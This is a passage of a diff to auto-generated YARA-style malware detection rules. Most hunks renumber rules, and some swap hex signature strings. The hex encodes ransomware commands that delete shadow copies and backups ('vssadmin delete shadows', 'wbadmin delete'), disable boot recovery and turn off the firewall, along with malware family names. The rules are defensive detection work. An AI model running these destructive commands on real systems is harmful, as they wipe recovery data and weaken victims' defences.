1)*26471+(#a_64_3 & 1)*30835+(#a_00_4 & 1)*21581+(#a_67_5 & 1)*28265+(#a_69_6 & 1)*11891+(#a_64_7 & 1)*29801+(#a_6c_8 & 1)*29807+(#a_61_9 & 1)*1536+(#a_01_10 & 1)*25187) >=11 } -rule _InfrastructureShared_18953{ +rule _InfrastructureShared_20142{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 0b 00 21 " @@ -231989,7 +246673,7 @@ rule _InfrastructureShared_18953{ ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*25966+(#a_65_2 & 1)*25974+(#a_61_3 & 1)*25965+(#a_63_4 & 1)*24942+(#a_6f_5 & 1)*25970+(#a_00_7 & 1)*111+(#a_53_8 & 1)*8993+(#a_74_9 & 1)*25965+(#a_75_10 & 1)*29541) >=11 } -rule _InfrastructureShared_18954{ +rule _InfrastructureShared_20143{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 0c 00 21 " @@ -232010,7 +246694,7 @@ rule _InfrastructureShared_18954{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1+(#a_01_9 & 1)*1+(#a_01_10 & 1)*1+(#a_90_11 & 1)*0) >=12 } -rule _InfrastructureShared_18955{ +rule _InfrastructureShared_20144{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 0d 00 21 " @@ -232030,7 +246714,7 @@ rule _InfrastructureShared_18955{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*25955+(#a_74_2 & 1)*25974+(#a_42_3 & 1)*16696+(#a_23_4 & 1)*12+(#a_42_5 & 1)*19745+(#a_01_7 & 1)*48+(#a_00_8 & 1)*48+(#a_00_10 & 1)*55+(#a_00_11 & 1)*88+(#a_74_12 & 1)*19456) >=13 } -rule _InfrastructureShared_18956{ +rule _InfrastructureShared_20145{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,15 00 15 00 0c 00 21 " @@ -232047,7 +246731,7 @@ rule _InfrastructureShared_18956{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*48+(#a_00_4 & 1)*55+(#a_00_6 & 1)*48+(#a_00_8 & 1)*48+(#a_74_9 & 1)*19456+(#a_74_10 & 1)*21328+(#a_03_11 & 1)*1) >=21 } -rule _InfrastructureShared_18957{ +rule _InfrastructureShared_20146{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 05 00 21 " @@ -232060,7 +246744,7 @@ rule _InfrastructureShared_18957{ ((#a_46_0 & 1)*16675+(#a_41_1 & 1)*11617+(#a_01_2 & 1)*-28672+(#a_53_3 & 1)*11883) >=2 } -rule _InfrastructureShared_18958{ +rule _InfrastructureShared_20147{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " @@ -232074,7 +246758,7 @@ rule _InfrastructureShared_18958{ ((#a_46_0 & 1)*16675+(#a_30_1 & 1)*300+(#a_03_2 & 1)*1+(#a_03_3 & 1)*1+(#a_03_4 & 1)*1) >=3 } -rule _InfrastructureShared_18959{ +rule _InfrastructureShared_20148{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -232087,7 +246771,7 @@ rule _InfrastructureShared_18959{ ((#a_46_0 & 1)*16675+(#a_8b_1 & 1)*-30472+(#a_8b_2 & 1)*400+(#a_45_3 & 1)*257) >=4 } -rule _InfrastructureShared_18960{ +rule _InfrastructureShared_20149{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 08 00 21 " @@ -232101,7 +246785,7 @@ rule _InfrastructureShared_18960{ ((#a_46_0 & 1)*16675+(#a_73_1 & 1)*2573+(#a_00_3 & 1)*45+(#a_01_4 & 1)*-28672+(#a_00_7 & 1)*110) >=4 } -rule _InfrastructureShared_18961{ +rule _InfrastructureShared_20150{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -232114,7 +246798,7 @@ rule _InfrastructureShared_18961{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*79+(#a_2d_3 & 1)*2305+(#a_30_4 & 1)*11585) >=5 } -rule _InfrastructureShared_18962{ +rule _InfrastructureShared_20151{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -232130,7 +246814,7 @@ rule _InfrastructureShared_18962{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*82+(#a_00_3 & 1)*32+(#a_00_4 & 1)*101+(#a_3a_5 & 1)*21587+(#a_42_6 & 1)*14132+(#a_01_7 & 1)*11264) >=8 } -rule _InfrastructureShared_18963{ +rule _InfrastructureShared_20152{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -232149,7 +246833,7 @@ rule _InfrastructureShared_18963{ ((#a_54_0 & 1)*18467+(#a_45_1 & 1)*13364+(#a_74_2 & 1)*25970+(#a_57_3 & 1)*18242+(#a_3d_4 & 1)*26422+(#a_42_5 & 1)*19745+(#a_73_6 & 1)*23652+(#a_6e_7 & 1)*20572+(#a_74_8 & 1)*29541+(#a_63_9 & 1)*20572) >=10 } -rule _InfrastructureShared_18964{ +rule _InfrastructureShared_20153{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -232168,7 +246852,7 @@ rule _InfrastructureShared_18964{ ((#a_54_0 & 1)*18467+(#a_70_1 & 1)*29811+(#a_79_2 & 1)*24948+(#a_01_3 & 1)*21504+(#a_00_4 & 1)*21581+(#a_81_5 & 1)*1+(#a_81_6 & 1)*1+(#a_81_7 & 1)*1+(#a_81_8 & 1)*1+(#a_81_9 & 1)*1) >=10 } -rule _InfrastructureShared_18965{ +rule _InfrastructureShared_20154{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 0b 00 21 " @@ -232187,7 +246871,7 @@ rule _InfrastructureShared_18965{ ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*30060+(#a_6e_2 & 1)*28784+(#a_65_3 & 1)*28271+(#a_4d_4 & 1)*13106+(#a_00_6 & 1)*122+(#a_65_7 & 1)*25902+(#a_6d_8 & 1)*30834+(#a_2e_9 & 1)*24951+(#a_20_10 & 1)*10843) >=11 } -rule _InfrastructureShared_18966{ +rule _InfrastructureShared_20155{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,11 00 11 00 11 00 21 " @@ -232210,7 +246894,7 @@ rule _InfrastructureShared_18966{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*25956+(#a_62_2 & 1)*28491+(#a_2e_3 & 1)*27753+(#a_77_4 & 1)*30575+(#a_6c_5 & 1)*30313+(#a_6e_6 & 1)*26465+(#a_74_7 & 1)*25966+(#a_00_8 & 1)*50+(#a_00_10 & 1)*116+(#a_61_11 & 1)*11585+(#a_00_13 & 1)*69+(#a_61_14 & 1)*26656+(#a_00_15 & 1)*78) >=17 } -rule _InfrastructureShared_18967{ +rule _InfrastructureShared_20156{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,32 00 32 00 05 00 21 " @@ -232224,7 +246908,7 @@ rule _InfrastructureShared_18967{ ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*8295+(#a_20_2 & 1)*9504+(#a_6f_3 & 1)*8308+(#a_54_4 & 1)*28520) >=50 } -rule _InfrastructureShared_18968{ +rule _InfrastructureShared_20157{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -232235,7 +246919,7 @@ rule _InfrastructureShared_18968{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*111) >=3 } -rule _InfrastructureShared_18969{ +rule _InfrastructureShared_20158{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -232248,7 +246932,7 @@ rule _InfrastructureShared_18969{ ((#a_46_0 & 1)*16675+(#a_09_1 & 1)*11408+(#a_2d_2 & 1)*14637+(#a_2d_3 & 1)*2305) >=4 } -rule _InfrastructureShared_18970{ +rule _InfrastructureShared_20159{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " @@ -232262,7 +246946,7 @@ rule _InfrastructureShared_18970{ ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*25955+(#a_6e_2 & 1)*8307+(#a_20_3 & 1)*26740+(#a_6e_4 & 1)*8293) >=4 } -rule _InfrastructureShared_18971{ +rule _InfrastructureShared_20160{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " @@ -232275,7 +246959,7 @@ rule _InfrastructureShared_18971{ ((#a_46_0 & 1)*16675+(#a_09_1 & 1)*6544+(#a_2d_2 & 1)*31277+(#a_00_4 & 1)*101) >=4 } -rule _InfrastructureShared_18972{ +rule _InfrastructureShared_20161{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 06 00 21 " @@ -232290,7 +246974,7 @@ rule _InfrastructureShared_18972{ ((#a_46_0 & 1)*16675+(#a_75_1 & 1)*26213+(#a_2e_2 & 1)*27762+(#a_6f_3 & 1)*29545+(#a_6e_4 & 1)*26433+(#a_25_5 & 1)*28672) >=4 } -rule _InfrastructureShared_18973{ +rule _InfrastructureShared_20162{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -232303,7 +246987,7 @@ rule _InfrastructureShared_18973{ ((#a_54_0 & 1)*18467+(#a_14_1 & 1)*28672+(#a_11_3 & 1)*4874+(#a_2b_4 & 1)*4886) >=5 } -rule _InfrastructureShared_18974{ +rule _InfrastructureShared_20163{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 0b 00 21 " @@ -232323,7 +247007,7 @@ rule _InfrastructureShared_18974{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*24940+(#a_61_2 & 1)*28525+(#a_64_3 & 1)*24946+(#a_34_4 & 1)*28265+(#a_70_5 & 1)*29811+(#a_67_6 & 1)*26926+(#a_01_7 & 1)*25454+(#a_79_8 & 1)*11890+(#a_49_9 & 1)*11826+(#a_63_10 & 1)*27680) >=9 } -rule _InfrastructureShared_18975{ +rule _InfrastructureShared_20164{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 0b 00 21 " @@ -232343,7 +247027,7 @@ rule _InfrastructureShared_18975{ ((#a_46_0 & 1)*16675+(#a_2f_1 & 1)*12137+(#a_65_2 & 1)*280+(#a_2e_3 & 1)*29285+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_92_6 & 1)*0+(#a_20_7 & 1)*28521+(#a_20_8 & 1)*29537+(#a_6b_9 & 1)*31090+(#a_73_10 & 1)*29554) >=11 } -rule _InfrastructureShared_18976{ +rule _InfrastructureShared_20165{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,14 00 14 00 0a 00 21 " @@ -232361,7 +247045,7 @@ rule _InfrastructureShared_18976{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*11264+(#a_45_2 & 1)*-32720+(#a_20_3 & 1)*21071+(#a_65_4 & 1)*27745+(#a_53_5 & 1)*8448+(#a_00_7 & 1)*69+(#a_00_8 & 1)*47+(#a_00_9 & 1)*101) >=20 } -rule _InfrastructureShared_18977{ +rule _InfrastructureShared_20166{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,3e 00 3e 00 0d 00 21 " @@ -232380,7 +247064,7 @@ rule _InfrastructureShared_18977{ ((#a_66_0 & 1)*21283+(#a_00_2 & 1)*116+(#a_00_3 & 1)*97+(#a_30_4 & 1)*23667+(#a_00_5 & 1)*32+(#a_00_7 & 1)*99+(#a_00_9 & 1)*105+(#a_00_10 & 1)*101+(#a_35_11 & 1)*9522+(#a_63_12 & 1)*27753) >=62 } -rule _InfrastructureShared_18978{ +rule _InfrastructureShared_20167{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -232392,7 +247076,7 @@ rule _InfrastructureShared_18978{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*101+(#a_00_3 & 1)*101) >=2 } -rule _InfrastructureShared_18979{ +rule _InfrastructureShared_20168{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 06 00 21 " @@ -232406,7 +247090,7 @@ rule _InfrastructureShared_18979{ ((#a_46_0 & 1)*16675+(#a_37_1 & 1)*12343+(#a_6c_2 & 1)*26995+(#a_41_3 & 1)*11617+(#a_27_4 & 1)*25895) >=2 } -rule _InfrastructureShared_18980{ +rule _InfrastructureShared_20169{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 08 00 21 " @@ -232421,7 +247105,7 @@ rule _InfrastructureShared_18980{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*99+(#a_00_4 & 1)*99+(#a_00_5 & 1)*105+(#a_2f_6 & 1)*13166+(#a_00_7 & 1)*72) >=2 } -rule _InfrastructureShared_18981{ +rule _InfrastructureShared_20170{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 07 00 21 " @@ -232435,7 +247119,7 @@ rule _InfrastructureShared_18981{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*112+(#a_00_4 & 1)*84+(#a_00_5 & 1)*324+(#a_00_6 & 1)*70) >=4 } -rule _InfrastructureShared_18982{ +rule _InfrastructureShared_20171{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 05 00 06 00 21 " @@ -232450,7 +247134,7 @@ rule _InfrastructureShared_18982{ ((#a_54_0 & 1)*18467+(#a_49_1 & 1)*28521+(#a_25_2 & 1)*25965+(#a_6b_3 & 1)*28505+(#a_78_4 & 1)*11885+(#a_52_5 & 1)*17665) >=5 } -rule _InfrastructureShared_18983{ +rule _InfrastructureShared_20172{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 0a 00 21 " @@ -232469,7 +247153,7 @@ rule _InfrastructureShared_18983{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*25976+(#a_52_2 & 1)*17665+(#a_4b_3 & 1)*14930+(#a_02_4 & 1)*25710+(#a_6e_5 & 1)*28518+(#a_73_6 & 1)*25936+(#a_75_7 & 1)*12596+(#a_65_8 & 1)*23653+(#a_64_9 & 1)*26727) >=6 } -rule _InfrastructureShared_18984{ +rule _InfrastructureShared_20173{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -232488,7 +247172,7 @@ rule _InfrastructureShared_18984{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*26465+(#a_69_2 & 1)*25965+(#a_6d_3 & 1)*25697+(#a_45_4 & 1)*8448+(#a_3d_5 & 1)*25458+(#a_6e_6 & 1)*14960+(#a_72_7 & 1)*25697+(#a_2b_8 & 1)*23917+(#a_53_9 & 1)*8993) >=10 } -rule _InfrastructureShared_18985{ +rule _InfrastructureShared_20174{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0c 00 21 " @@ -232508,7 +247192,7 @@ rule _InfrastructureShared_18985{ ((#a_63_0 & 1)*17699+(#a_61_1 & 1)*11621+(#a_66_2 & 1)*25960+(#a_00_3 & 1)*100+(#a_72_4 & 1)*27393+(#a_01_5 & 1)*25964+(#a_48_6 & 1)*384+(#a_00_7 & 1)*28781+(#a_6c_8 & 1)*384+(#a_3a_9 & 1)*24938+(#a_70_10 & 1)*27745) >=10 } -rule _InfrastructureShared_18986{ +rule _InfrastructureShared_20175{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,10 00 10 00 10 00 21 " @@ -232531,7 +247215,7 @@ rule _InfrastructureShared_18986{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*29801+(#a_65_2 & 1)*384+(#a_01_3 & 1)*4864+(#a_53_4 & 1)*14958+(#a_4c_5 & 1)*23655+(#a_44_7 & 1)*3072+(#a_61_8 & 1)*27758+(#a_74_9 & 1)*31090+(#a_65_10 & 1)*24434+(#a_ff_11 & 1)*-1+(#a_01_12 & 1)*30720+(#a_6c_13 & 1)*11890+(#a_00_14 & 1)*77) >=16 } -rule _InfrastructureShared_18987{ +rule _InfrastructureShared_20176{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,15 00 15 00 0c 00 21 " @@ -232548,7 +247232,7 @@ rule _InfrastructureShared_18987{ ((#a_54_0 & 1)*18467+(#a_62_1 & 1)*17500+(#a_61_2 & 1)*25697+(#a_00_4 & 1)*68+(#a_72_6 & 1)*18689+(#a_36_8 & 1)*18753+(#a_00_9 & 1)*330+(#a_00_10 & 1)*-1) >=21 } -rule _InfrastructureShared_18988{ +rule _InfrastructureShared_20177{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 06 00 21 " @@ -232563,7 +247247,7 @@ rule _InfrastructureShared_18988{ ((#a_5f_0 & 1)*25635+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_03_4 & 1)*1+(#a_03_5 & 1)*1) >=1 } -rule _InfrastructureShared_18989{ +rule _InfrastructureShared_20178{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 07 00 21 " @@ -232579,7 +247263,7 @@ rule _InfrastructureShared_18989{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*101+(#a_00_2 & 1)*101+(#a_90_3 & 1)*11617+(#a_01_4 & 1)*8960+(#a_63_5 & 1)*29541+(#a_47_6 & 1)*14188) >=3 } -rule _InfrastructureShared_18990{ +rule _InfrastructureShared_20179{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 09 00 21 " @@ -232597,7 +247281,7 @@ rule _InfrastructureShared_18990{ ((#a_54_0 & 1)*18467+(#a_4c_1 & 1)*12623+(#a_54_2 & 1)*29045+(#a_6d_3 & 1)*18289+(#a_42_4 & 1)*-32468+(#a_53_5 & 1)*28277+(#a_32_6 & 1)*14918+(#a_01_7 & 1)*-28672+(#a_41_8 & 1)*11568) >=3 } -rule _InfrastructureShared_18991{ +rule _InfrastructureShared_20180{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 06 00 21 " @@ -232612,7 +247296,7 @@ rule _InfrastructureShared_18991{ ((#a_46_0 & 1)*16675+(#a_09_1 & 1)*11408+(#a_2d_2 & 1)*14637+(#a_2c_3 & 1)*2+(#a_09_4 & 1)*6544+(#a_2d_5 & 1)*31277) >=4 } -rule _InfrastructureShared_18992{ +rule _InfrastructureShared_20181{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 04 00 21 " @@ -232625,7 +247309,7 @@ rule _InfrastructureShared_18992{ ((#a_77_0 & 1)*16675+(#a_5d_1 & 1)*28265+(#a_45_2 & 1)*21586+(#a_4e_3 & 1)*21057) >=5 } -rule _InfrastructureShared_18993{ +rule _InfrastructureShared_20182{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -232638,7 +247322,7 @@ rule _InfrastructureShared_18993{ ((#a_46_0 & 1)*16675+(#a_2d_1 & 1)*2305+(#a_00_3 & 1)*68+(#a_2d_4 & 1)*23085) >=5 } -rule _InfrastructureShared_18994{ +rule _InfrastructureShared_20183{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 0e 00 21 " @@ -232657,7 +247341,7 @@ rule _InfrastructureShared_18994{ ((#a_46_0 & 1)*16675+(#a_67_2 & 1)*29525+(#a_6f_4 & 1)*20527+(#a_65_5 & 1)*26740+(#a_2f_6 & 1)*18771+(#a_00_8 & 1)*99+(#a_62_9 & 1)*28532+(#a_72_10 & 1)*25197+(#a_61_11 & 1)*14918+(#a_74_13 & 1)*28161) >=6 } -rule _InfrastructureShared_18995{ +rule _InfrastructureShared_20184{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 0a 00 21 " @@ -232669,14 +247353,14 @@ rule _InfrastructureShared_18995{ $a_00_4 = {00 78 94 01 00 0b 00 0b 00 0c 00 21 23 41 4c 46 3a 52 61 6e 73 6f 6d 3a 4d 53 49 4c 2f 4d 6f 6d 6f 2e 47 47 21 4d 54 42 00 01 00 0f 80 01 43 72 65 61 74 65 45 6e 63 72 79 70 74 6f 72 01 00 0b 80 01 45 6e 63 72 79 70 74 46 69 6c 65 01 00 08 80 01 74 61 73 6b 6b 69 6c 6c 01 00 08 80 01 6e 65 74 20 73 74 6f 70 01 00 21 80 } //25455 $a_74_5 = {68 20 66 69 72 65 77 61 6c 6c 20 73 65 74 20 6f 70 6d 6f 64 65 20 64 69 73 61 62 6c 65 01 00 1c 80 01 76 73 73 61 64 6d 69 6e 20 64 65 6c 65 74 65 20 73 68 61 64 6f 77 73 20 2f 61 6c 6c 01 00 16 80 01 77 6d 69 63 20 73 68 61 64 6f 77 63 6f 70 79 20 64 65 6c 65 74 65 01 00 29 80 01 62 63 64 65 64 69 74 } //28161 $a_65_6 = {20 7b 64 65 66 61 75 6c 74 7d 20 72 65 63 6f 76 65 72 79 65 6e 61 62 6c 65 64 20 6e 6f 01 00 39 80 01 62 63 64 65 64 69 74 20 2f 73 65 74 20 7b 64 65 66 61 75 6c 74 7d 20 62 6f 6f 74 73 74 61 74 75 73 70 6f 6c 69 63 79 20 69 67 6e 6f 72 65 61 6c 6c 66 61 69 6c 75 72 65 73 01 00 1d 80 01 77 62 61 64 6d 69 6e 20 64 65 6c 65 74 65 20 63 61 74 61 } //12064 - $a_20_7 = {71 75 69 65 74 01 00 21 80 01 77 62 61 64 6d 69 6e 20 64 65 6c 65 74 65 20 73 79 73 74 65 6d 73 74 61 74 65 62 61 63 6b 75 70 20 01 00 15 80 01 77 62 61 64 6d 69 6e 20 64 65 6c 65 74 65 20 62 61 63 6b 75 70 00 00 78 94 01 00 11 00 11 00 11 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 56 42 49 } //28524 - $a_63_8 = {2e 56 41 21 4d 53 52 00 01 00 0d 81 01 52 65 67 4f 70 65 6e 4b 65 79 45 78 41 01 00 10 81 01 52 65 67 51 75 65 72 79 56 61 6c 75 65 45 78 41 01 00 0b 81 01 52 65 67 43 6c 6f 73 65 4b 65 79 01 00 0a 81 01 73 65 74 73 6f 63 6b 6f 70 74 01 00 0a 81 01 67 65 74 73 6f 63 6b 6f 70 74 01 00 0e 81 01 53 65 74 } //27246 - $a_64_9 = {77 4c 6f 6e 67 41 01 00 0f 81 01 43 61 6c 6c 57 69 6e 64 6f 77 50 72 6f 63 41 01 00 0d 81 01 57 53 41 49 73 42 6c 6f 63 6b 69 6e 67 01 00 0a 81 01 57 53 41 53 74 61 72 74 75 70 01 00 0d 81 01 67 65 74 68 6f 73 74 62 79 6e 61 6d 65 01 00 0d 81 01 52 74 6c 4d 6f 76 65 4d 65 6d 6f 72 79 01 00 15 81 01 57 53 41 43 61 6e 63 65 6c 42 } //26967 + $a_20_7 = {71 75 69 65 74 01 00 21 80 01 77 62 61 64 6d 69 6e 20 64 65 6c 65 74 65 20 73 79 73 74 65 6d 73 74 61 74 65 62 61 63 6b 75 70 20 01 00 15 80 01 77 62 61 64 6d 69 6e 20 64 65 6c 65 74 65 20 62 61 63 6b 75 70 00 00 78 94 01 00 0c 00 0c 00 0f 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4c 75 6d } //28524 + $a_2e_8 = {4e 52 21 4d 54 42 00 01 00 19 03 68 00 74 00 74 00 70 00 90 02 40 2e 00 6c 00 69 00 76 00 65 00 2f 00 90 00 01 00 0f 03 68 74 74 70 90 02 40 2e 6c 69 76 65 2f 90 00 01 00 17 03 68 00 74 00 74 00 70 00 } //24941 + $a_2e_9 = {74 00 6f 00 70 00 2f 00 90 00 01 00 0e 03 68 74 74 70 90 02 40 2e 74 6f 70 2f 90 00 01 00 1f 03 68 00 74 00 74 00 70 00 90 02 40 2e 00 64 00 69 00 67 00 69 00 74 00 61 00 6c 00 2f 00 90 00 01 } //656 condition: - ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*97+(#a_52_2 & 1)*21571+(#a_6d_3 & 1)*29254+(#a_00_4 & 1)*25455+(#a_74_5 & 1)*28161+(#a_65_6 & 1)*12064+(#a_20_7 & 1)*28524+(#a_63_8 & 1)*27246+(#a_64_9 & 1)*26967) >=9 + ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*97+(#a_52_2 & 1)*21571+(#a_6d_3 & 1)*29254+(#a_00_4 & 1)*25455+(#a_74_5 & 1)*28161+(#a_65_6 & 1)*12064+(#a_20_7 & 1)*28524+(#a_2e_8 & 1)*24941+(#a_2e_9 & 1)*656) >=9 } -rule _InfrastructureShared_18996{ +rule _InfrastructureShared_20185{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 0c 00 21 " @@ -232684,18 +247368,38 @@ rule _InfrastructureShared_18996{ $a_46_0 = {52 61 6e 73 6f 6d 3a 4d 53 49 4c 2f 4d 6f 6d 6f 2e 47 47 21 4d 54 42 00 01 00 0f 80 01 43 72 65 61 74 65 45 6e 63 72 79 70 74 6f 72 01 00 0b 80 01 45 6e 63 72 79 70 74 46 69 6c 65 01 00 08 80 01 74 61 73 6b 6b 69 6c 6c 01 00 08 } //16675 $a_65_1 = {20 73 74 6f 70 01 00 21 80 01 6e 65 74 73 68 20 66 69 72 65 77 61 6c 6c 20 73 65 74 20 6f 70 6d 6f 64 65 20 64 69 73 61 62 6c 65 01 00 1c 80 01 76 73 73 61 64 6d 69 6e 20 64 65 6c 65 74 65 20 73 68 61 64 6f 77 73 20 2f 61 6c 6c 01 00 16 80 01 77 6d 69 63 20 73 68 61 64 6f 77 63 6f 70 79 20 64 65 6c 65 74 65 01 00 29 80 01 62 63 } //384 $a_69_2 = {20 2f 73 65 74 20 7b 64 65 66 61 75 6c 74 7d 20 72 65 63 6f 76 65 72 79 65 6e 61 62 6c 65 64 20 6e 6f 01 00 39 80 01 62 63 64 65 64 69 74 20 2f 73 65 74 20 7b 64 65 66 61 75 6c 74 7d 20 62 6f 6f 74 73 74 61 74 75 73 70 6f 6c 69 63 79 20 69 67 6e 6f 72 65 61 6c 6c 66 61 69 6c 75 72 65 73 01 00 1d 80 } //25956 - $a_61_3 = {6d 69 6e 20 64 65 6c 65 74 65 20 63 61 74 61 6c 6f 67 20 2d 71 75 69 65 74 01 00 21 80 01 77 62 61 64 6d 69 6e 20 64 65 6c 65 74 65 20 73 79 73 74 65 6d 73 74 61 74 65 62 61 63 6b 75 70 20 01 00 15 80 01 77 62 61 64 6d 69 6e 20 64 65 6c 65 74 65 20 62 61 63 6b 75 70 00 00 78 94 01 00 11 00 11 } //30465 - $a_3a_5 = {72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 56 42 49 6e 6a 65 63 74 2e 56 41 21 4d 53 52 00 01 00 0d 81 01 52 65 67 4f 70 65 6e 4b 65 79 45 78 41 01 00 10 81 01 52 65 67 51 75 65 72 79 56 61 6c 75 65 45 78 41 01 00 0b } //19521 - $a_65_6 = {43 6c 6f 73 65 4b 65 79 01 00 0a 81 01 73 65 74 73 6f 63 6b 6f 70 74 01 00 0a 81 01 67 65 74 73 6f 63 6b 6f 70 74 01 00 0e 81 01 53 65 74 57 69 6e 64 6f 77 4c 6f 6e 67 41 01 00 0f 81 01 43 61 6c 6c 57 69 6e 64 6f 77 50 72 6f 63 41 01 00 0d 81 01 } //385 - $a_49_7 = {42 6c 6f 63 6b 69 6e 67 01 00 0a 81 01 57 53 41 53 74 61 72 74 75 70 01 00 0d 81 01 67 65 74 68 6f 73 74 62 79 6e 61 6d 65 01 00 0d 81 01 52 74 6c 4d 6f 76 65 4d 65 6d 6f 72 79 01 00 15 81 01 57 } //21335 - $a_61_8 = {63 65 6c 42 6c 6f 63 6b 69 6e 67 43 61 6c 6c 01 00 32 01 41 00 30 00 4e 00 4a 00 47 00 75 00 6b 00 72 00 53 00 65 00 70 00 44 00 6a 00 38 00 69 00 68 00 47 00 70 00 41 00 73 00 67 00 79 00 31 00 30 00 } //16723 - $a_00_9 = {12 } //49 - $a_00_11 = {64 00 66 00 72 00 69 00 65 00 01 00 18 01 55 00 6e 00 64 00 72 00 61 00 66 00 74 00 61 00 62 00 6c 00 65 00 34 00 01 00 0c 01 48 00 6f 00 65 00 6a 00 72 00 65 00 01 00 12 01 61 00 72 00 67 00 65 00 6c 00 69 00 73 00 74 00 73 00 00 00 78 94 01 00 22 00 22 00 0f 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 